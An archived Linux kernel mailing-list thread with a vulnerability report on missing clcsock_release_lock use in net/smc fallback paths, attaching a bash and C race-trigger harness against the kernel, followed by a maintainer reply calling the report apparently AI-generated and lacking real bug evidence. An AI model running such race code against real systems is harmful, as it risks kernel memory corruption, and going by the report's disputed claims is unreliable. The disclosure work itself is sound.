Linux s390 Architecture development
 help / color / mirror / Atom feed
* [net/smc] clcsock_release_lock not held on fallback poll/sendmsg/... (follow-up to 64a6b36b)
@ 2026-10-18 14:47 tikipiya0531
  2026-10-19  7:56 ` Dust Li
  0 siblings, 1 reply; 2+ messages in thread
From: tikipiya0531 @ 2026-10-18 14:47 UTC (permalink / raw)
  To: alibuda@linux.alibaba.com, dust.li@linux.alibaba.com,
	sidraya@linux.ibm.com, mjambigi@linux.ibm.com
  Cc: linux-s390@vger.kernel.org, linux-rdma@vger.kernel.org


[-- Attachment #1.1: Type: text/plain, Size: 2208 bytes --]

Hello,

Please find the full write-up attached as report-en.md (same content
summarized below for quick triage).

Summary
-------
Commit 64a6b36b0e18 ("net/smc: protect clcsock lifetime in smc_getname")
added clcsock_release_lock around smc_getname() because link-group teardown
can call smc_clcsock_release() while the SMC socket is still open. The same
unlocked smc->clcsock access pattern still exists on several other paths that
touch the CLC socket in fallback mode (and in SOCK_DIAG fill), without holding
clcsock_release_lock.

I am not claiming a reliable exploit on current mainline; I am asking for a
small hardening sweep similar to 64a6b36b and c0bf3d8a943b.

Attachment
----------
- report-en.md — detailed description, affected paths, CVSS notes, and a
self-contained PoC script (bash + embedded C sources).

Affected versions
-----------------
- Verified on kernel.org tree: v7.3-rc7-245-g32c52ec87d62 (commit 32c52ec87d62).
- Related history: b03faa1fafc8, c0bf3d8a943b, 64a6b36b (getname only).
- git log 64a6b36b..HEAD -- net/smc shows no follow-up for the paths below.

Problem
-------
smc_clcsock_release() takes clcsock_release_lock before clearing smc->clcsock.
Any operation that reads smc->clcsock and calls through clcsock->ops without
that mutex can race with smc_close_active_abort() / link-group termination.

Unlocked paths on the tree above include fallback smc_sendmsg, smc_recvmsg,
smc_poll (two sites), smc_ioctl, smc_shutdown, smc_splice_read, and
smc_diag_msg_common_fill() in smc_diag.c. See the attachment for line-level
detail.

Reproducer
----------
Status: no KASAN hit on my tests on 32c52ec87d62 (KASAN x86_64, CONFIG_SMC=m).
The PoC harness is in report-en.md (shell script section); I can also paste it
inline in a follow-up if you prefer mail without attachments.

Conditions
----------
- CONFIG_INET_SMC / CONFIG_SMC; local AF_SMC user; fallback or SOCK_DIAG;
race timing; not remote unauthenticated.

Suggested fix
-------------
Hold clcsock_release_lock across each fallback clcsock->ops call, as in
smc_getname(). RFC-style patch available on request as [PATCH].

Mitigation: disable CONFIG_SMC where unused.

Thanks,
<Sotaro Dohaku>
<tikisan0531@proton.me>

[-- Attachment #1.2: Type: text/html, Size: 3511 bytes --]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #2: report-en.md --]
[-- Type: text/markdown; name=report-en.md, Size: 23730 bytes --]

# Use After Free via SMC `clcsock` fallback and SOCK_DIAG paths

---

## Metadata

| Field | Value |
|------|-----|
| **Severity** | Medium |
| **CVSS Score** | 5.9 / 10 (`CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N`) |
| **Package** | Linux kernel — subsystem `net/smc` (`CONFIG_INET_SMC` / module `smc.ko`) |
| **Affected** | Kernels with commit `64a6b36b0e18` (“protect clcsock lifetime in smc_getname”) **or earlier** clcsock lifetime work (`b03faa1fafc8`), where fallback `poll` / `sendmsg` / `recvmsg` / `ioctl` / `shutdown` / `splice_read` and `smc_diag_msg_common_fill()` still dereference `smc->clcsock` without `clcsock_release_lock`. Verified on `v7.3-rc7-245-g32c52ec87d62` (2026-10-18). |
| **Patched** | **Partial:** `smc_getname()` in `64a6b36b` only. **No upstream follow-up** for the remaining paths at time of writing. |
| **CVE ID** | *(none assigned)* |
| **CWE** | CWE-416 (Use After Free), CWE-667 (Improper Locking) |

---

**Version exercised in testing:** Linux `v7.3-rc7-245-g32c52ec87d62`, KASAN-enabled `x86_64` build, `CONFIG_SMC=m`, `CONFIG_SMC_DIAG=m`, loopback SMC fallback to TCP `:9000` and optional SMCD listener on `:9001` after UEID registration.

## Summary

The SMC (Shared Memory Communications) socket family keeps an internal TCP “CLC” child socket (`smc->clcsock`) while the outward-facing `AF_SMC` socket stays open. Link-group teardown can run asynchronously: `smc_close_active_abort()` eventually calls `smc_clcsock_release()`, which takes `clcsock_release_lock`, nulls `smc->clcsock`, and frees the child. Any syscall that reads `smc->clcsock` without that mutex can race with release and touch freed memory or follow a NULL pointer.

Commit `64a6b36b0e18` fixed this for `getsockname()` only. The same pattern was already applied years earlier to `setsockopt` / `getsockopt` / fallback switch (`c0bf3d8a943b`). What remains is a fairly obvious spread of **unlocked** `clcsock` use on the **fallback** code path (`smc->use_fallback`) and in `smc_diag_msg_common_fill()` when dumping socket state over `SOCK_DIAG`.

This is not a remote, unauthenticated wire attack. You need a local process able to open `AF_SMC` sockets and hit the fallback or diag paths while teardown is in flight. On many setups SMC never comes up at all (`CONFIG_SMC` off, no RDMA/SMC-D infrastructure), and those machines never execute the buggy instructions. Where SMC **is** loaded—common on s390/Linux-on-Z and some enterprise images—the bug class is kernel memory corruption with local trigger, which is why we still care even though reproducing KASAN on a stock tree is awkward.

Worth separating from the original `getname` report: the maintainer’s KASAN trace used **test-only timing instrumentation** in the fix submission. Our user-space races (thousands of iterations on fallback `poll`/`ioctl`/`shutdown` parallel to `close`, plus SMCD scenarios after UEID setup) did **not** fire KASAN on the tested tree. That does **not** disprove the static defect; it means exploitability is likely timing-sensitive and may need hardware or in-kernel hooks to demonstrate the same slab UAF the author saw on `smc_getname`.

## Affected configuration

All of the following matter:

1. **Kernel built with SMC** (`CONFIG_INET_SMC` / `CONFIG_SMC`), module or built-in, and the attacker can create `socket(AF_SMC, SOCK_STREAM, …)` (normally any unprivileged user with `NET` capability in their user namespace, i.e. default init user namespace).
2. **Code path reaches `smc->clcsock` on fallback or diag** while `smc_clcsock_release()` can run on another context (workqueue / link-group termination). Fallback is the usual QEMU/laptop case when SMC-D handshake cannot complete: a TCP listener on loopback (our PoC uses `:9000`) is enough—no RDMA card required.
3. **Parallel operations** on the same SMC fd (or diag dump against a dying socket): e.g. child process spinning on `poll(2)` / `ioctl(SIOCINQ)` / `shutdown()` while the parent closes the fd or drives `shutdown(SHUT_WR)` to pull link-group teardown (the scenario described in the `64a6b36b` commit message).

**Out of scope / not required:**

- Remote attacker without local code execution.
- Non-fallback SMC data plane (`smc_tx_sendmsg` / `smc_rx_recvmsg`)—those paths do not walk `clcsock->ops` the same way.
- Systems with SMC disabled entirely.

SMCD (true SMC over RDMA) tightens the real-world impact on Z boxes but our loopback fallback reproducer is enough to exercise the **same mutex gap** in `af_smc.c`.

## Impact

- **Integrity / availability (kernel):** Classic slab UAF or NULL deref in `net/smc`. Successful corruption can yield local privilege escalation in principle; we did not ship a stable EoP chain.
- **Confidentiality:** Limited direct leak; scored `VC:L` in CVSS because the primitive is corrupt-on-use, not an info disclosure API.
- **What a single syscall cannot do:** It cannot bypass the need for a winning race or an already-dying link group; you cannot trigger this from a mere SYN to a closed port without the victim process holding an SMC socket.

### CVSS 4.0 rationale

| Metric | Choice | Notes |
|--------|--------|-------|
| AV:L | Local | Attacker runs the racing process. |
| AC:H | High | Window is narrow; stock PoC did not reliably trip KASAN. |
| PR:L | Low | Normal user can open sockets. |
| VI:H / VA:H | High | Kernel memory corruption potential. |
| VC:L | Low | Not primarily an info leak. |

Vector: `CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N` → **5.9 (Medium)** via [FIRST CVSS v4.0 calculator](https://www.first.org/cvss/calculator/4.0).

## Technical detail

### Lifetime model (short)

`struct smc_sock` owns `struct socket *clcsock`. Release is centralized in `smc_clcsock_release()` (`net/smc/smc_close.c`), which always takes `mutex_lock(&smc->clcsock_release_lock)` before clearing the pointer and calling `sock_release()`.

`smc_close_active_abort()`—used when a link group ends while the SMC socket is still open (e.g. after `shutdown(SHUT_WR)` per the `64a6b36b` description)—can invoke that release path while another task is inside a socket op.

### What `64a6b36b` fixed

`smc_getname()` now holds `clcsock_release_lock` from the NULL check through `clcsock->ops->getname()`. KASAN stack from the commit (abridged):

```
BUG: KASAN: slab-use-after-free in smc_getname
Freed by: smc_clcsock_release -> smc_close_active_abort -> __smc_lgr_terminate
```

### What remains

| Location | Function | Lock around `clcsock`? |
|----------|----------|-------------------------|
| `af_smc.c` ~2829 | `smc_sendmsg` (fallback) | No — only `lock_sock(sk)` |
| `af_smc.c` ~2865 | `smc_recvmsg` (fallback) | No |
| `af_smc.c` ~2901, ~2917 | `smc_poll` (fallback branches) | No |
| `af_smc.c` ~3214 | `smc_ioctl` (fallback) | No — checks `!clcsock` once |
| `af_smc.c` | `smc_shutdown` / `smc_splice_read` (fallback) | No |
| `af_smc.c` ~115 | `smc_set_keepalive` | No (secondary) |
| `smc_diag.c` ~42 | `smc_diag_msg_common_fill` | No |

Historical context: `c0bf3d8a943b` (2022) added `clcsock_release_lock` to `setsockopt`, `getsockopt`, and `smc_switch_to_fallback`. **`poll` was explicitly left unlocked** and still is.

`git log 64a6b36b..HEAD -- net/smc` on the tested tree shows **no** follow-up mutex sweep.

### Why `lock_sock(sk)` is insufficient

Fallback ops take the SMC socket’s `lock_sock` but release runs under `clcsock_release_lock` without holding the SMC lock across the entire `ops->poll` / `sendmsg` delegation. The failing pattern is: load `smc->clcsock`, preemption/teardown clears and frees, then dereference `clcsock->ops`.

### `smc_inet_destroy_sock` nuance

`smc_inet_destroy_sock()` unhashes before `smc_clcsock_release()` so diag dumps are less likely to see a half-dead socket during **final** destroy (`smc_inet.c` comment). That does not serialize **live** fallback `poll` against `smc_close_active_abort()` on an still-open fd.

### Suggested fix direction

Mirror `64a6b36b` everywhere fallback touches `clcsock`, and hold the mutex in `smc_diag_msg_common_fill()` (or stop reading `clcsock` without the socket lock). Minimal pattern:

```c
mutex_lock(&smc->clcsock_release_lock);
if (!smc->clcsock) {
    mutex_unlock(&smc->clcsock_release_lock);
    return -EBADF; /* or EPOLLHUP for poll */
}
/* use smc->clcsock */
mutex_unlock(&smc->clcsock_release_lock);
```

### Testing notes from downstream QA (2026-10-18)

Roughly **3500+** scripted races on KASAN `x86_64` QEMU (fallback stress, 16× parallel `poll`, `sendmsg`∥`close`, `ioctl`, `shutdown`, `splice_read`, `SOCK_DIAG` dump∥`close`, SMCD with UEID, `rmmod smc` while polling): **no KASAN hits**. Regress with **reverted** `smc_getname` mutex on SMCD (800 iterations) also stayed clean without in-kernel delays.

Treat dynamic results as **negative evidence**, not as “safe by design.”

## Proof of concept

The script below is self-contained: it writes C sources to a temp directory, builds helpers, starts a TCP acceptor on port 9000 (SMC fallback target), optionally registers a UEID for SMCD tests on 9001, runs parallel `poll` and `ioctl` races against `close`, and scans `dmesg` for KASAN/BUG lines.

**What it proves:** Exercises the **unlocked** fallback ops against aggressive `close()`—the same class fixed for `getname` in `64a6b36b`. A KASAN report is **not guaranteed** on an already-patched `getname` tree; for a smoking gun on `getname`, build a kernel **without** `64a6b36b` or apply the author’s timing hooks from the original patch thread.

**Requirements:** `gcc`, `root` (for `dmesg`, module load), `smc.ko` + `ib_core.ko` compatible with running kernel, kernel headers providing `linux/smc.h` for UEID genetlink (script skips UEID if headers missing). `AF_SMC` is 43 on Linux.

**Expected output (clean run):** Lines like `SMC poll/close races completed=500/500` and `dmesg: no KASAN/BUG smc lines in tail scan` with exit 0. A finding would look like `BUG: KASAN: slab-use-after-free in smc_poll` (or `smc_ioctl`, etc.).

```bash
#!/usr/bin/env bash
# SMC clcsock lifetime — standalone repro harness
set -euo pipefail

ROUNDS_POLL="${ROUNDS_POLL:-500}"
ROUNDS_IOCTL="${ROUNDS_IOCTL:-300}"
TCP_PORT="${TCP_PORT:-9000}"
SMC_PORT="${SMC_PORT:-9001}"
WORKDIR="${WORKDIR:-/tmp/smc-clcsock-poc-$$}"
WITH_UEID="${WITH_UEID:-1}"

if [[ "$(id -u)" -ne 0 ]]; then
  echo "run as root (need insmod/dmesg)" >&2
  exit 1
fi

mkdir -p "$WORKDIR"
cd "$WORKDIR"
trap 'kill $(jobs -p) 2>/dev/null || true; wait 2>/dev/null || true' EXIT

write_tcp_accept() {
  cat > tcp_accept_loop.c <<'EOF'
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
int main(void) {
	struct sockaddr_in sin = {
		.sin_family = AF_INET,
		.sin_port = htons(9000),
		.sin_addr.s_addr = htonl(INADDR_ANY),
	};
	int lfd, cfd, one = 1;
	lfd = socket(AF_INET, SOCK_STREAM, 0);
	if (lfd < 0) { perror("socket"); return 1; }
	setsockopt(lfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
	if (bind(lfd, (struct sockaddr *)&sin, sizeof(sin)) < 0) { perror("bind"); return 1; }
	if (listen(lfd, 128) < 0) { perror("listen"); return 1; }
	for (;;) {
		cfd = accept(lfd, NULL, NULL);
		if (cfd < 0) { if (errno == EINTR) continue; perror("accept"); continue; }
		close(cfd);
	}
}
EOF
}

write_smc_poll_race() {
  cat > smc_poll_close_race.c <<'EOF'
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <netinet/in.h>
#include <poll.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#ifndef AF_SMC
#define AF_SMC 43
#endif
static int smc_connect(struct sockaddr_in *sin) {
	int fd = socket(AF_SMC, SOCK_STREAM, 0);
	if (fd < 0) return -1;
	if (connect(fd, (struct sockaddr *)sin, sizeof(*sin)) < 0) { close(fd); return -1; }
	return fd;
}
static void poll_child(int fd) {
	struct pollfd pfd = { .fd = fd, .events = POLLIN | POLLOUT | POLLERR };
	for (;;) poll(&pfd, 1, 0);
}
int main(int argc, char **argv) {
	struct sockaddr_in sin = {
		.sin_family = AF_INET,
		.sin_port = htons(9000),
		.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
	};
	int i, rounds = argc > 1 ? atoi(argv[1]) : 500;
	int port = argc > 2 ? atoi(argv[2]) : 9000;
	int fd, pid, ok = 0;
	sin.sin_port = htons(port);
	for (i = 0; i < rounds; i++) {
		fd = smc_connect(&sin);
		if (fd < 0) { fprintf(stderr, "connect: %s\n", strerror(errno)); break; }
		pid = fork();
		if (pid < 0) { perror("fork"); close(fd); break; }
		if (pid == 0) poll_child(fd);
		usleep(100);
		close(fd);
		kill(pid, SIGKILL);
		waitpid(pid, NULL, 0);
		ok++;
		usleep(500);
	}
	printf("SMC poll/close races completed=%d/%d\n", ok, rounds);
	return ok == rounds ? 0 : 3;
}
EOF
}

write_smc_ioctl_race() {
  cat > smc_ioctl_close_race.c <<'EOF'
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <netinet/in.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#ifndef AF_SMC
#define AF_SMC 43
#endif
static int smc_connect(struct sockaddr_in *sin) {
	int fd = socket(AF_SMC, SOCK_STREAM, 0);
	if (fd < 0) return -1;
	if (connect(fd, (struct sockaddr *)sin, sizeof(*sin)) < 0) { close(fd); return -1; }
	return fd;
}
static void hammer_ioctl(int fd) {
	int v;
	for (;;) ioctl(fd, SIOCINQ, &v);
}
int main(int argc, char **argv) {
	struct sockaddr_in sin = {
		.sin_family = AF_INET,
		.sin_port = htons(9000),
		.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
	};
	int rounds = argc > 1 ? atoi(argv[1]) : 300;
	int port = argc > 2 ? atoi(argv[2]) : 9000;
	int i, fd, pid, ok = 0;
	sin.sin_port = htons(port);
	for (i = 0; i < rounds; i++) {
		fd = smc_connect(&sin);
		if (fd < 0) break;
		pid = fork();
		if (pid < 0) { close(fd); break; }
		if (pid == 0) hammer_ioctl(fd);
		usleep(50);
		close(fd);
		kill(pid, SIGKILL);
		waitpid(pid, NULL, 0);
		ok++;
		usleep(1000);
	}
	printf("smc_ioctl_close races ok=%d/%d\n", ok, rounds);
	return ok == rounds ? 0 : 3;
}
EOF
}

write_smc_getname_race() {
  cat > smc_getname_close_race.c <<'EOF'
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <netinet/in.h>
#include <poll.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#ifndef AF_SMC
#define AF_SMC 43
#endif
static int smc_connect(struct sockaddr_in *sin) {
	int fd = socket(AF_SMC, SOCK_STREAM, 0);
	if (fd < 0) return -1;
	if (connect(fd, (struct sockaddr *)sin, sizeof(*sin)) < 0) { close(fd); return -1; }
	return fd;
}
static void hammer_getname(int fd) {
	struct sockaddr_storage addr;
	socklen_t len = sizeof(addr);
	for (;;) getsockname(fd, (struct sockaddr *)&addr, &len);
}
static void hammer_poll(int fd) {
	struct pollfd pfd = { .fd = fd, .events = POLLIN | POLLOUT };
	for (;;) poll(&pfd, 1, 0);
}
int main(int argc, char **argv) {
	const char *mode = argc > 1 ? argv[1] : "poll";
	int rounds = argc > 2 ? atoi(argv[2]) : 200;
	int port = argc > 3 ? atoi(argv[3]) : 9000;
	struct sockaddr_in sin = {
		.sin_family = AF_INET,
		.sin_port = htons(9000),
		.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
	};
	int i, fd, pid, ok = 0;
	sin.sin_port = htons(port);
	for (i = 0; i < rounds; i++) {
		fd = smc_connect(&sin);
		if (fd < 0) { fprintf(stderr, "connect[%d]: %s\n", i, strerror(errno)); break; }
		pid = fork();
		if (pid < 0) { perror("fork"); close(fd); break; }
		if (pid == 0) {
			if (!strcmp(mode, "getname")) hammer_getname(fd);
			else hammer_poll(fd);
		}
		usleep(50);
		shutdown(fd, SHUT_WR);
		usleep(50);
		close(fd);
		kill(pid, SIGKILL);
		waitpid(pid, NULL, 0);
		ok++;
	}
	printf("smc_%s_close races ok=%d/%d mode=%s port=%d\n", mode, ok, rounds, mode, port);
	return ok == rounds ? 0 : 3;
}
EOF
}

write_ueid_tool() {
  cat > smc_ueid_setup.c <<'EOF'
#define _GNU_SOURCE
#include <errno.h>
#include <linux/genetlink.h>
#include <linux/netlink.h>
#include <linux/smc.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>
#define SMC_TEST_UEID "SMC-BPFTEST-UEID"
struct msgtemplate { struct nlmsghdr n; struct genlmsghdr g; char buf[1024]; };
#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
static int send_cmd(int fd, __u16 nlmsg_type, __u32 nlmsg_pid, __u16 nlmsg_flags,
		    __u8 genl_cmd, __u16 nla_type, void *nla_data, int nla_len) {
	struct nlattr *na;
	struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK };
	struct msgtemplate msg = {0};
	char *buf; int r, buflen;
	msg.n.nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
	msg.n.nlmsg_type = nlmsg_type; msg.n.nlmsg_flags = nlmsg_flags; msg.n.nlmsg_pid = nlmsg_pid;
	msg.g.cmd = genl_cmd; msg.g.version = 1;
	na = (struct nlattr *)GENLMSG_DATA(&msg);
	na->nla_type = nla_type; na->nla_len = NLA_HDRLEN + nla_len;
	memcpy(NLA_DATA(na), nla_data, nla_len);
	msg.n.nlmsg_len += NLMSG_ALIGN(na->nla_len);
	buf = (char *)&msg; buflen = msg.n.nlmsg_len;
	while ((r = sendto(fd, buf, buflen, 0, (struct sockaddr *)&nladdr, sizeof(nladdr))) < buflen) {
		if (r > 0) { buf += r; buflen -= r; } else if (errno != EAGAIN) return -1;
	}
	return 0;
}
static int get_family_id(int fd, __u32 pid) {
	struct msgtemplate msg; struct nlattr *nl; int ret;
	if (send_cmd(fd, GENL_ID_CTRL, pid, NLM_F_REQUEST, CTRL_CMD_GETFAMILY,
		     CTRL_ATTR_FAMILY_NAME, (void *)SMC_GENL_FAMILY_NAME,
		     strlen(SMC_GENL_FAMILY_NAME) + 1) < 0) return -1;
	ret = recv(fd, &msg, sizeof(msg), 0);
	if (ret < 0 || !NLMSG_OK(&msg.n, ret) || msg.n.nlmsg_type == NLMSG_ERROR) return -1;
	nl = (struct nlattr *)GENLMSG_DATA(&msg);
	nl = (struct nlattr *)((char *)nl + NLA_ALIGN(nl->nla_len));
	if (nl->nla_type != CTRL_ATTR_FAMILY_ID) return -1;
	return *(int *)NLA_DATA(nl);
}
static int ueid_op(int op) {
	char ueid[SMC_MAX_EID_LEN + 1];
	struct msgtemplate msg; struct nlmsgerr *err;
	struct sockaddr_nl nladdr = { .nl_family = AF_NETLINK };
	int fd, fam, ret; __u32 pid = getpid();
	memset(ueid, ' ', SMC_MAX_EID_LEN); ueid[SMC_MAX_EID_LEN] = '\0';
	memcpy(ueid, SMC_TEST_UEID, strlen(SMC_TEST_UEID));
	fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
	if (fd < 0) return -1;
	nladdr.nl_pid = pid;
	if (bind(fd, (struct sockaddr *)&nladdr, sizeof(nladdr)) < 0) goto fail;
	fam = get_family_id(fd, pid);
	if (fam < 0) goto fail;
	if (send_cmd(fd, fam, pid, NLM_F_REQUEST | NLM_F_ACK, op,
		     SMC_NLA_EID_TABLE_ENTRY, ueid, SMC_MAX_EID_LEN + 1) < 0) goto fail;
	ret = recv(fd, &msg, sizeof(msg), 0);
	if (ret < 0 || !NLMSG_OK(&msg.n, ret)) goto fail;
	if (msg.n.nlmsg_type == NLMSG_ERROR) {
		err = NLMSG_DATA(&msg);
		if (op == SMC_NETLINK_REMOVE_UEID && err->error == -ENOENT) { close(fd); return 0; }
		if (err->error) goto fail;
	}
	close(fd); return 0;
fail: close(fd); return -1;
}
int main(int argc, char **argv) {
	const char *cmd = argc > 1 ? argv[1] : "add";
	if (!strcmp(cmd, "add")) {
		if (ueid_op(SMC_NETLINK_ADD_UEID) == 0) { printf("UEID added (%s)\n", SMC_TEST_UEID); return 0; }
		perror("UEID add"); return 1;
	}
	if (!strcmp(cmd, "del")) {
		if (ueid_op(SMC_NETLINK_REMOVE_UEID) == 0) { printf("UEID removed\n"); return 0; }
		perror("UEID remove"); return 1;
	}
	fprintf(stderr, "usage: %s [add|del]\n", argv[0]); return 2;
}
EOF
}

write_smc_accept() {
  cat > smc_accept_loop.c <<'EOF'
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <unistd.h>
#ifndef AF_SMC
#define AF_SMC 43
#endif
int main(void) {
	struct sockaddr_in sin = {
		.sin_family = AF_INET,
		.sin_port = htons(9001),
		.sin_addr.s_addr = htonl(INADDR_ANY),
	};
	int lfd, cfd, one = 1, pid;
	lfd = socket(AF_SMC, SOCK_STREAM, 0);
	if (lfd < 0) { perror("socket(AF_SMC)"); return 1; }
	setsockopt(lfd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
	if (bind(lfd, (struct sockaddr *)&sin, sizeof(sin)) < 0) { perror("bind"); return 1; }
	if (listen(lfd, 32) < 0) { perror("listen"); return 1; }
	for (;;) {
		cfd = accept(lfd, NULL, NULL);
		if (cfd < 0) { if (errno == EINTR) continue; perror("accept"); continue; }
		pid = fork();
		if (pid < 0) { close(cfd); continue; }
		if (pid == 0) { close(lfd); for (;;) pause(); }
		close(cfd);
		waitpid(pid, NULL, WNOHANG);
	}
}
EOF
}

load_smc_modules() {
  if lsmod | grep -q '^smc '; then
    echo "smc already loaded"
    return 0
  fi
  for mod in ib_core smc; do
    if modprobe "$mod" 2>/dev/null; then continue; fi
    echo "modprobe $mod failed; set SMC_KO_PATH to directory with .ko files" >&2
    if [[ -n "${SMC_KO_PATH:-}" ]]; then
      insmod "${SMC_KO_PATH}/ib_core.ko" 2>/dev/null || true
      insmod "${SMC_KO_PATH}/smc.ko" || exit 1
    else
      exit 1
    fi
  done
}

write_tcp_accept
sed -i "s/htons(9000)/htons(${TCP_PORT})/" tcp_accept_loop.c
write_smc_poll_race
write_smc_ioctl_race
write_smc_getname_race
write_ueid_tool
write_smc_accept

gcc -O2 -Wall -o tcp_accept_loop tcp_accept_loop.c
gcc -O2 -Wall -o smc_poll_close_race smc_poll_close_race.c
gcc -O2 -Wall -o smc_ioctl_close_race smc_ioctl_close_race.c
gcc -O2 -Wall -o smc_getname_close_race smc_getname_close_race.c

if gcc -O2 -Wall -o smc_ueid_setup smc_ueid_setup.c 2>/dev/null; then
  HAVE_UEID=1
else
  echo "warning: smc_ueid_setup build failed (install kernel headers); SMCD tests skipped"
  HAVE_UEID=0
fi
gcc -O2 -Wall -o smc_accept_loop smc_accept_loop.c 2>/dev/null || true

load_smc_modules
ip link set lo up 2>/dev/null || true

./tcp_accept_loop &
TCP_PID=$!
sleep 0.5

if [[ "$HAVE_UEID" == "1" && "$WITH_UEID" == "1" ]]; then
  ./smc_ueid_setup add || true
  if [[ -x ./smc_accept_loop ]]; then
    ./smc_accept_loop &
    SMC_PID=$!
    sleep 0.5
  fi
fi

echo "=== fallback poll race (unlocked smc_poll path) ==="
./smc_poll_close_race "$ROUNDS_POLL" "$TCP_PORT"

echo "=== fallback ioctl race ==="
./smc_ioctl_close_race "$ROUNDS_IOCTL" "$TCP_PORT"

echo "=== getname/poll with SHUT_WR (closer to lgr abort) ==="
./smc_getname_close_race poll 150 "$TCP_PORT"
./smc_getname_close_race getname 150 "$TCP_PORT"

if [[ -n "${SMC_PID:-}" ]]; then
  echo "=== SMCD port poll/getname (9001) ==="
  ./smc_poll_close_race 80 "$SMC_PORT" || true
  ./smc_getname_close_race poll 80 "$SMC_PORT" || true
fi

echo "=== dmesg scan ==="
if dmesg | tail -200 | grep -E 'KASAN|BUG:.*smc_' ; then
  echo "FAIL: kernel reported KASAN/BUG (see above)"
  exit 2
fi
echo "dmesg: no KASAN/BUG smc lines in tail scan (race may still be latent)"

kill "$TCP_PID" 2>/dev/null || true
[[ -n "${SMC_PID:-}" ]] && kill "$SMC_PID" 2>/dev/null || true
echo "OK: harness finished"
exit 0
```

## Remediation

- **Upstream:** Extend `clcsock_release_lock` to every fallback delegation and to `smc_diag_msg_common_fill()`, matching `smc_getname` / `c0bf3d8a` style.
- **Vendors:** Backport the lateral mutex sweep when cherry-picking `64a6b36b`; picking getname alone leaves `poll` and friends exposed.
- **Operators:** If you do not use SMC, disabling `CONFIG_SMC` removes the attack surface; this is mitigation, not a substitute for the code fix.

## References

- Upstream fix (partial): `64a6b36b0e18` — https://patch.msgid.link/20261008084444.787449-1-nicoyip.dev@gmail.com  
- Prior locking: `c0bf3d8a943b` (`setsockopt` / `getsockopt` / fallback switch)  
- Clcsock lifetime introduction: `b03faa1fafc8`  
- CWE-416: https://cwe.mitre.org/data/definitions/416.html  
- CWE-667: https://cwe.mitre.org/data/definitions/667.html  
- Linux kernel security reporting: https://docs.kernel.org/process/security-bugs.html  

^ permalink raw reply	[flat|nested] 2+ messages in thread

* Re: [net/smc] clcsock_release_lock not held on fallback poll/sendmsg/... (follow-up to 64a6b36b)
  2026-10-18 14:47 [net/smc] clcsock_release_lock not held on fallback poll/sendmsg/... (follow-up to 64a6b36b) tikipiya0531
@ 2026-10-19  7:56 ` Dust Li
  0 siblings, 0 replies; 2+ messages in thread
From: Dust Li @ 2026-10-19  7:56 UTC (permalink / raw)
  To: tikipiya0531, alibuda@linux.alibaba.com, sidraya@linux.ibm.com,
	mjambigi@linux.ibm.com
  Cc: linux-s390@vger.kernel.org, linux-rdma@vger.kernel.org

On 2026-10-18 14:47:41, tikipiya0531 wrote:
>Hello,
>
>Please find the full write-up attached as report-en.md (same content
>summarized below for quick triage).
>
>Summary
>-------
>Commit 64a6b36b0e18 ("net/smc: protect clcsock lifetime in smc_getname")
>added clcsock_release_lock around smc_getname() because link-group teardown
>can call smc_clcsock_release() while the SMC socket is still open. The same
>unlocked smc->clcsock access pattern still exists on several other paths that
>touch the CLC socket in fallback mode (and in SOCK_DIAG fill), without holding
>clcsock_release_lock.
>
>I am not claiming a reliable exploit on current mainline; I am asking for a
>small hardening sweep similar to 64a6b36b and c0bf3d8a943b.


Hi tikipiya0531,

If you are asking for a patch, please send a patch with real bug evidence
in the commit message.
The report you sent looks like a mess of AI-generated things without your
understanding.

Best regards,
Dust


^ permalink raw reply	[flat|nested] 2+ messages in thread

end of thread, other threads:[~2026-10-19  7:56 UTC | newest]

Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-18 14:47 [net/smc] clcsock_release_lock not held on fallback poll/sendmsg/... (follow-up to 64a6b36b) tikipiya0531
2026-10-19  7:56 ` Dust Li

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox